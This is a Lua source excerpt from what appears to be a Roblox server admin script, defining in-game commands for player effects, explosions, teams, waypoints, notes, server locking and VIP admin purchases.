7663 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7664 end
7665 end
7666 end};
7667
7668 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7669 local Prefix = Arguments[1]
7670 if #Prefix > 5 then
7671 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7672 else
7673 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7674 if Answer == "Yes" then
7675 local OldPrefix = Settings.Prefix
7676 Settings.Prefix = Prefix
7677 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7678 end
7679 end
7680 end};
7681
7682 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7683 GUI:CommandBar(Speaker)
7684 end};
7685
7686 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7687 GUI:CommandBar(Speaker)
7688 PermCommandBars[Speaker.Name] = true
7689 end};
7690
7691 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7692 PermCommandBars[Speaker.Name] = nil
7693 end};
7694
7695 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7696 local Players = STRING:Scan(Arguments[1], Speaker)
7697 for _,Player in pairs(Players) do
7698 PermCommandBars[Player.Name] = nil
7699 end
7700 end};
7701
7702 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7703 CORE:CreateFigure("Dummy", nil, true, Speaker)
7704 end};
7705
7706 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7707 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7708 end};
7709
7710 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7711 local Players = STRING:Scan(Arguments[1], Speaker)
7712 for _,Player in pairs(Players) do
7713 CORE:ClonePlayer(Player)
7714 end
7715 end};
7716
7717 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7718 local Players = STRING:Scan(Arguments[1], Speaker)
7719 for _,Player in pairs(Players) do
7720 CORE:ClonePlayer(Player, Arguments[2])
7721 end
7722 end};
7723
7724 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7725 for _,Obj in pairs(Objects) do
7726 if Obj then Obj:Destroy() end
7727 end
7728 for Name,Jail in pairs(Jails) do
7729 if not game.Players:FindFirstChild(Name) then
7730 Jail:Destroy()
7731 Jails[Name] = nil
7732 end
7733 end
7734 Objects = {}
7735 end};
7736
7737 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7738 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7739 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7740 Obj:Destroy()
7741 end
7742 end
7743 end};
7744
7745 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7746 local Players = STRING:Scan(Arguments[1], Speaker)
7747 for _,Player in pairs(Players) do
7748 if Player.Character and Player.Character:FindFirstChild("Torso") then
7749 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7750 end
7751 end
7752 end};
7753
7754 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7755 local Players = STRING:Scan(Arguments[1], Speaker)
7756 for _,Player in pairs(Players) do
7757 if Player.Character and Player.Character:FindFirstChild("Torso") then
7758 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7759 end
7760 end
7761 end};
7762
7763 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7764 local Players = STRING:Scan(Arguments[1], Speaker)
7765 for _,Player in pairs(Players) do
7766 if Player.Character and Player.Character:FindFirstChild("Torso") then
7767 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7768 end
7769 end
7770 end};
7771
7772 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7773 local Players = STRING:Scan(Arguments[1], Speaker)
7774 for _,Player in pairs(Players) do
7775 if Player.Character and Player.Character:FindFirstChild("Torso") then
7776 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7777 if Get:IsA("Sparkles") then
7778 Get:Destroy()
7779 end
7780 end
7781 end
7782 end
7783 end};
7784
7785 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7786 local Players = STRING:Scan(Arguments[1], Speaker)
7787 for _,Player in pairs(Players) do
7788 if Player.Character and Player.Character:FindFirstChild("Torso") then
7789 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7790 if Get:IsA("Fire") then
7791 Get:Destroy()
7792 end
7793 end
7794 end
7795 end
7796 end};
7797
7798 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7799 local Players = STRING:Scan(Arguments[1], Speaker)
7800 for _,Player in pairs(Players) do
7801 if Player.Character and Player.Character:FindFirstChild("Torso") then
7802 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7803 if Get:IsA("Smoke") then
7804 Get:Destroy()
7805 end
7806 end
7807 end
7808 end
7809 end};
7810
7811 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7812 local Players = STRING:Scan(Arguments[1], Speaker)
7813 for _,Player in pairs(Players) do
7814 if Player.Character and Player.Character:FindFirstChild("Torso") then
7815 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7816 local Boom = Instance.new("Explosion", Workspace)
7817 Boom.Position = Player.Character.Torso.Position
7818 end
7819 end
7820 end};
7821
7822 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7823 local Players = STRING:Scan(Arguments[1], Speaker)
7824 for _,Player in pairs(Players) do
7825 if Player.Character and Player.Character:FindFirstChild("Torso") then
7826 coroutine.wrap(function() for i = 1,50 do
7827 local Boom = Instance.new("Explosion", Workspace)
7828 Boom.Position = Player.Character.Torso.Position
7829 wait()
7830 end end)()
7831 coroutine.wrap(function() for i = 1,5 do
7832 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7833 end end)()
7834 end
7835 end
7836 end};
7837
7838 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7839 local Players = STRING:Scan(Arguments[1], Speaker)
7840 for _,Player in pairs(Players) do
7841 if Player.Character and Player.Character:FindFirstChild("Torso") then
7842 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7843 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7844 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7845 end
7846 end
7847 end};
7848
7849 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7850 local Players = STRING:Scan(Arguments[1], Speaker)
7851 for _,Player in pairs(Players) do
7852 if Player.Character and Player.Character:FindFirstChild("Torso") then
7853 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7854 end
7855 end
7856 end};
7857
7858 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7859 local Players = STRING:Scan(Arguments[1], Speaker)
7860 for _,Player in pairs(Players) do
7861 if Player.Character then
7862 Player.Character.Parent = Server.Lighting
7863 end
7864 end
7865 end};
7866
7867 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7868 local Players = STRING:Scan(Arguments[1], Speaker)
7869 for _,Player in pairs(Players) do
7870 if Player.Character then
7871 Player.Character.Parent = Server.Workspace
7872 Player.Character:MakeJoints()
7873 end
7874 end
7875 end};
7876
7877 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7878 local Players = STRING:Scan(Arguments[1], Speaker)
7879 for _,Player in pairs(Players) do
7880 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7881 Player.Character.Humanoid.PlatformStand = true
7882 end
7883 end
7884 end};
7885
7886 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7887 local Players = STRING:Scan(Arguments[1], Speaker)
7888 for _,Player in pairs(Players) do
7889 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7890 Player.Character.Humanoid.PlatformStand = false
7891 end
7892 end
7893 end};
7894
7895 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7896 local Players = STRING:Scan(Arguments[1], Speaker)
7897 for _,Player in pairs(Players) do
7898 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7899 Player.Character.Humanoid.Jump = true
7900 end
7901 end
7902 end};
7903
7904 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7905 local Players = STRING:Scan(Arguments[1], Speaker)
7906 for _,Player in pairs(Players) do
7907 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7908 Player.Character.Humanoid.Sit = true
7909 end
7910 end
7911 end};
7912
7913 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7914 local Players = STRING:Scan(Arguments[1], Speaker)
7915 for _,Player in pairs(Players) do
7916 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7917 Player.Character.Humanoid.Sit = false
7918 end
7919 end
7920 end};
7921
7922 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7923 local Players = STRING:Scan(Arguments[1], Speaker)
7924 for _,Player in pairs(Players) do
7925 if Player.Character and Player.Character:FindFirstChild("Torso") then
7926 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7927 end
7928 end
7929 end};
7930
7931 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7932 local Players = STRING:Scan(Arguments[1], Speaker)
7933 for _,Player in pairs(Players) do
7934 if Player.Character and Player.Character:FindFirstChild("Torso") then
7935 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7936 end
7937 end
7938 end};
7939
7940 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7941 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7942 end};
7943
7944 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7945 local Color = "Blue"
7946 local String = Arguments[2]
7947 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7948 if #ChatSplit >= 2 then
7949 if string.lower(ChatSplit[1]) == "green" then
7950 Color = "Green"
7951 String = ChatSplit[2]
7952 elseif string.lower(ChatSplit[1]) == "red" then
7953 Color = "Red"
7954 String = ChatSplit[2]
7955 end
7956 end
7957 local Players = STRING:Scan(Arguments[1], Speaker)
7958 for _,Player in pairs(Players) do
7959 if Player.Character and Player.Character:FindFirstChild("Head") then
7960 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7961 end
7962 end
7963 end};
7964
7965 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7966 local Players = STRING:Scan(Arguments[1], Speaker)
7967 for _,Player in pairs(Players) do
7968 if Player.Character then
7969 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7970 end
7971 end
7972 end};
7973
7974 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7975 local Players = STRING:Scan(Arguments[1], Speaker)
7976 local ID = nil
7977 if tonumber(Arguments[2]) ~= nil then
7978 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7979 else
7980 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7981 for _,Face in pairs(FaceTable) do
7982 if string.lower(Arguments[2]) == string.lower(Face) then
7983 ID = FaceID
7984 break
7985 end
7986 end
7987 end
7988 end
7989 if ID then
7990 for _,Player in pairs(Players) do
7991 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7992 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7993 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7994 end
7995 end
7996 end
7997 end};
7998
7999 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8000 local Players = STRING:Scan(Arguments[1], Speaker)
8001 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
8002 for _,Player in pairs(Players) do
8003 if Player.Character and Player.Character:FindFirstChild("Head") then
8004 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
8005 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
8006 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
8007 end
8008 end
8009 end};
8010
8011 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
8012 local Players = STRING:Scan(Arguments[1], Speaker)
8013 for _,Player in pairs(Players) do
8014 if Player.Character and Player.Character:FindFirstChild("Head") then
8015 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
8016 end
8017 end
8018 end};
8019
8020 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
8021 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
8022 end, Http = true};
8023
8024 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
8025 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
8026 end, Http = true};
8027
8028 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
8029 local Players = STRING:Scan(Arguments[1], Speaker)
8030 for _,Player in pairs(Players) do
8031 local ExistingData = Player:LoadInstance("Data")
8032 if ExistingData == nil then
8033 ExistingData = Instance.new("Configuration")
8034 end
8035 ExistingData.Name = "Player Data"
8036 local Key = Instance.new("Configuration", ExistingData)
8037 Key.Name = Arguments[2]
8038 Player:SaveInstance("Data", ExistingData)
8039 end
8040 end};
8041
8042 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
8043 local Players = STRING:Scan(Arguments[1], Speaker)
8044 local Data = Arguments[2]
8045 for _,Player in pairs(Players) do
8046 local ExistingData = Player:LoadInstance("Data")
8047 if ExistingData ~= nil then
8048 if string.lower(Data) == "all" then
8049 ExistingData:ClearAllChildren()
8050 else
8051 for _,DataObj in pairs(ExistingData:GetChildren()) do
8052 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
8053 DataObj:Destroy()
8054 end
8055 end
8056 end
8057 end
8058 Player:SaveInstance("Data", ExistingData)
8059 end
8060 end};
8061
8062 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8063 local Players = STRING:Scan(Arguments[1], Speaker)
8064 local DataSet = {}
8065 for _,Player in pairs(Players) do
8066 local ExistingData = Player:LoadInstance("Data")
8067 if ExistingData ~= nil then
8068 if #ExistingData:GetChildren() ~= 0 then
8069 for _,Data in pairs(ExistingData:GetChildren()) do
8070 table.insert(DataSet, Player.Name..": "..Data.Name)
8071 end
8072 else
8073 table.insert(DataSet, "Data does not exist for "..Player.Name)
8074 end
8075 else
8076 table.insert(DataSet, "Data does not exist for "..Player.Name)
8077 end
8078 end
8079 GUI:ListGui(Speaker, "Notes", DataSet)
8080 end};
8081
8082 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
8083 local Players = STRING:Scan(Arguments[1], Speaker)
8084 for _,Player in pairs(Players) do
8085 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8086 Player.Character.Humanoid.WalkSpeed = 16
8087 end
8088 end
8089 end};
8090
8091 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
8092 local Players = STRING:Scan(Arguments[1], Speaker)
8093 for _,Player in pairs(Players) do
8094 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8095 Player.Character.Humanoid.WalkSpeed = -16
8096 end
8097 end
8098 end};
8099
8100 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
8101 local TeamColor = BrickColor.random()
8102 local TeamName = Arguments[1]
8103 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
8104 if #TeamNameSplit >= 2 then
8105 local Color = TeamNameSplit[1]
8106 local NewTeamName = TeamNameSplit[2]
8107 if Color == "Medium stone grey" then
8108 TeamColor = BrickColor.new(Color)
8109 TeamName = NewTeamName
8110 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
8111 TeamColor = BrickColor.new(Color)
8112 TeamName = NewTeamName
8113 elseif Colors[string.upper(Color)] then
8114 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
8115 TeamName = NewTeamName
8116 end
8117 end
8118
8119 local NewTeam = Instance.new("Team", Server.Teams)
8120 NewTeam.TeamColor = TeamColor
8121 NewTeam.Name = TeamName
8122 end};
8123
8124 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8125 local Players = STRING:Scan(Arguments[1], Speaker)
8126 for _,Player in pairs(Players) do
8127 Player.Neutral = true
8128 end
8129 end};
8130
8131 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8132 local Players = STRING:Scan(Arguments[1], Speaker)
8133 if string.lower(Arguments[2]) == "none" then
8134 for _,Player in pairs(Players) do
8135 Player.Neutral = true
8136 end
8137 else
8138 for _,Obj in pairs(Server.Teams:GetChildren()) do
8139 if Obj:IsA("Team") then
8140 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8141 for _,Player in pairs(Players) do
8142 Player.Neutral = false
8143 Player.TeamColor = Obj.TeamColor
8144 end
8145 end
8146 end
8147 end
8148 end
8149 end};
8150
8151 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8152 for _,Obj in pairs(Server.Teams:GetChildren()) do
8153 if Obj:IsA("Team") then
8154 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8155 for _,Player in pairs(Server.Players:GetPlayers()) do
8156 if Player.TeamColor == Obj.TeamColor then
8157 Player.Neutral = true
8158 end
8159 end
8160 Obj:Destroy()
8161 end
8162 end
8163 end
8164 end};
8165
8166 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8167 for _,Player in pairs(Server.Players:GetPlayers()) do
8168 Player.Neutral = true
8169 end
8170 for _,Obj in pairs(Server.Teams:GetChildren()) do
8171 if Obj:IsA("Team") then
8172 Obj:Destroy()
8173 end
8174 end
8175 end};
8176
8177 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8178 for _,Player in pairs(Server.Players:GetPlayers()) do
8179 GUI:Countdown(Player, Arguments[1])
8180 end
8181 end};
8182
8183 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8184 local Players = STRING:Scan(Arguments[1], Speaker)
8185 for _,Player in pairs(Players) do
8186 if Player:FindFirstChild("Backpack") then
8187 CORE:ExecuteResource("ShowAd", Player.Backpack)
8188 end
8189 end
8190 end};
8191
8192 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8193 local Players = STRING:Scan(Arguments[1], Speaker)
8194 for _,Player in pairs(Players) do
8195 if Player.Character then
8196 for PosName,WP in pairs(Waypoints) do
8197 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8198 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8199 break
8200 end
8201 end
8202 end
8203 end
8204 end};
8205
8206 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8207 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8208 end};
8209
8210 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8211 local Num = 0
8212 for PosName,WP in pairs(Waypoints) do
8213 Num = Num + 1
8214 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8215 Waypoints[PosName] = nil
8216 end
8217 end
8218 end};
8219
8220 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8221 local WaypointHolder,WaypointRaw = {},{}
8222 for Name, WP in pairs(Waypoints) do
8223 local View = Name..": "..tostring(WP)
8224 table.insert(WaypointHolder, View)
8225 WaypointRaw[View] = WP
8226 end
8227 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8228 Clicked.Event:connect(function(Text)
8229 local Waypoint = WaypointRaw[Text]
8230 if Waypoint then
8231 if Speaker.Character then
8232 Speaker.Character:MoveTo(Waypoint)
8233 end
8234 end
8235 end)
8236 end};
8237
8238 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8239 local Players = STRING:Scan(Arguments[1], Speaker)
8240 local List = {}
8241 for _,Player in pairs(Players) do
8242 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8243 end
8244 GUI:ListGui(Speaker, "Listed Players", List)
8245 end};
8246
8247 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8248 if tonumber(Arguments[1]) then
8249 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8250 else
8251 local Players = STRING:Scan(Arguments[1], Speaker)
8252 for _,Player in pairs(Players) do
8253 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8254 end
8255 end
8256 end};
8257
8258 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8259 local Players = STRING:Scan(Arguments[1], Speaker)
8260 local Friends,OneFriend = {}, false
8261 for _,Player in pairs(Players) do
8262 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8263 --[[if Player:IsBestFriendsWith(User.UserId) then
8264 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8265 OneFriend = true
8266 ]]
8267 if Player:IsFriendsWith(User.UserId) then
8268 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8269 OneFriend = true
8270 end
8271 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8272 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8273 end
8274 end end
8275 end
8276 GUI:ListGui(Speaker, "Friend List", Friends)
8277 end};
8278
8279 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8280 Settings.ServerLocked = true
8281 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8282 end};
8283
8284 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8285 Settings.ServerLocked = false
8286 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8287 end};
8288
8289 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8290 local OldAge = Settings.MinimumAge
8291 local Age = tostring(Arguments[1])
8292 if Age then
8293 Settings.MinimumAge = Age
8294 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8295 end
8296 end};
8297
8298 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8299 if Settings.VIPAdminID <= 1 then
8300 MARKET:PromptPurchase(Speaker, VIPAdminID)
8301 else
8302 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8303 end
8304 end};
8305
8306 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8307 if Settings.VIPMemberID <= 1 then
8308 MARKET:PromptPurchase(Speaker, VIPMemberID)
8309 else
8310 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8311 end
8312 end};
8313
8314 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8315 if tonumber(Arguments[2]) then
8316 local Players = STRING:Scan(Arguments[1], Speaker)
